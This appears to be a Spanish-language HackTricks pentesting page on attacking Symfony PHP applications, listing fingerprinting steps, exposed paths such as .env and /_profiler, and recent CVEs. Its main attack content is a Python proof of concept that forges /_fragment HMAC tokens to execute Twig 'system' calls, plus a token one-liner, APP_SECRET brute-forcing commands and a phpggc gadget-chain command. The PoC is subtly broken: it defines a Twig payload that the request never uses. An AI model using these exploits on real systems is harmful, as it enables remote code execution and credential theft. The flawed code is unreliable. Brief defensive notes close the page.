Symfony
Reading time: 6 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Symfony es uno de los frameworks PHP más utilizados y aparece regularmente en evaluaciones de objetivos empresariales, de comercio electrónico y CMS (Drupal, Shopware, Ibexa, OroCRM … todos integran componentes de Symfony). Esta página recopila consejos ofensivos, configuraciones incorrectas comunes y vulnerabilidades recientes que deberías tener en tu lista de verificación cuando descubras una aplicación Symfony.
Nota histórica: Una gran parte del ecosistema aún utiliza la rama 5.4 LTS (EOL Noviembre 2025). Siempre verifica la versión menor exacta porque muchos avisos de seguridad de 2023-2025 solo se solucionaron en lanzamientos de parches (por ejemplo, 5.4.46 → 5.4.50).
Recon & Enumeration
Finger-printing
- Encabezados de respuesta HTTP:
X-Powered-By: Symfony
,X-Debug-Token
,X-Debug-Token-Link
o cookies que comienzan consf_redirect
,sf_session
,MOCKSESSID
. - Fugas de código fuente (
composer.json
,composer.lock
,/vendor/…
) a menudo revelan la versión exacta:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Rutas públicas que solo existen en Symfony:
/_profiler
(Symfony Profiler & barra de herramientas de depuración)/_wdt/<token>
(“Web Debug Toolbar”)/_error/{code}.{_format}
(páginas de error bonitas)/app_dev.php
,/config.php
,/config_dev.php
(controladores frontales de desarrollo anteriores a 4.0)- Wappalyzer, BuiltWith o listas de palabras de ffuf/feroxbuster:
symfony.txt
→ busca/_fragment
,/_profiler
,.env
,.htaccess
.
Archivos y puntos finales interesantes
Ruta | Por qué es importante |
---|---|
/.env , /.env.local , /.env.prod | Frecuentemente mal desplegados → filtran APP_SECRET , credenciales de DB, SMTP, claves de AWS |
/.git , .svn , .hg | Divulgación de código fuente → credenciales + lógica de negocio |
/var/log/*.log , /log/dev.log | La mala configuración del web-root expone trazas de pila |
/_profiler | Historial completo de solicitudes, configuración, contenedor de servicios, APP_SECRET (≤ 3.4) |
/_fragment | Punto de entrada utilizado por ESI/HInclude. Abuso posible una vez que conoces APP_SECRET |
/vendor/phpunit/phpunit/phpunit | RCE de PHPUnit si es accesible (CVE-2017-9841) |
/index.php/_error/{code} | Finger-print & a veces filtra trazas de excepciones |
Vulnerabilidades de alto impacto (2023-2025)
1. Divulgación de APP_SECRET ➜ RCE a través de /_fragment
(también conocido como “secret-fragment”)
- CVE-2019-18889 originalmente, pero todavía aparece en objetivos modernos cuando se deja habilitada la depuración o se expone
.env
. - Una vez que conoces el
APP_SECRET
de 32 caracteres, crea un token HMAC y abusa del controlador internorender()
para ejecutar Twig arbitrario:
# PoC – requiere el secreto
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE en Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Excelente artículo y script de explotación: blog de Ambionics (enlazado en Referencias).
2. Secuestro de Proceso en Windows – CVE-2024-51736
- El componente
Process
buscó en el directorio de trabajo actual antes dePATH
en Windows. Un atacante que pueda subirtar.exe
,cmd.exe
, etc. en un web-root escribible y activarProcess
(por ejemplo, extracción de archivos, generación de PDF) obtiene ejecución de comandos. - Corregido en 5.4.50, 6.4.14, 7.1.7.
3. Fijación de Sesión – CVE-2023-46733
- El guardia de autenticación reutilizó un ID de sesión existente después del inicio de sesión. Si un atacante establece la cookie antes de que la víctima se autentique, secuestra la cuenta después del inicio de sesión.
4. XSS en sandbox de Twig – CVE-2023-46734
- En aplicaciones que exponen plantillas controladas por el usuario (CMS de administración, generador de correos electrónicos) el filtro
nl2br
podría ser abusado para eludir la sandbox e inyectar JS.
5. Cadenas de gadgets de Symfony 1 (aún encontradas en aplicaciones heredadas)
phpggc symfony/1 system id
produce una carga útil Phar que desencadena RCE cuando ocurre un unserialize() en clases comosfNamespacedParameterHolder
. Verifica los puntos finales de carga de archivos y los envoltoriosphar://
.
PHP - Deserialization + Autoload Classes
Hoja de trucos de explotación
Calcular el token HMAC para /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
Fuerza bruta de APP_SECRET
débil
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE a través de Symfony Console expuesta
Si bin/console
es accesible a través de php-fpm
o carga directa de CLI:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Utilice gadgets de deserialización dentro del directorio de caché o escriba una plantilla Twig maliciosa que se ejecutará en la próxima solicitud.
Notas defensivas
- Nunca despliegue debug (
APP_ENV=dev
,APP_DEBUG=1
) en producción; bloquee/app_dev.php
,/_profiler
,/_wdt
en la configuración del servidor web. - Almacene secretos en variables de entorno o
vault/secrets.local.php
, nunca en archivos accesibles a través del document-root. - Haga cumplir la gestión de parches: suscríbase a los avisos de seguridad de Symfony y mantenga al menos el nivel de parches LTS.
- Si está ejecutando en Windows, actualice inmediatamente para mitigar CVE-2024-51736 o agregue una defensa en profundidad
open_basedir
/disable_functions
.
Herramientas ofensivas útiles
- ambionics/symfony-exploits – RCE de fragmento secreto, descubrimiento de rutas de depurador.
- phpggc – Cadenas de gadgets listas para Symfony 1 y 2.
- sf-encoder – pequeño ayudante para calcular el HMAC de
_fragment
(implementación en Go).
Referencias
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.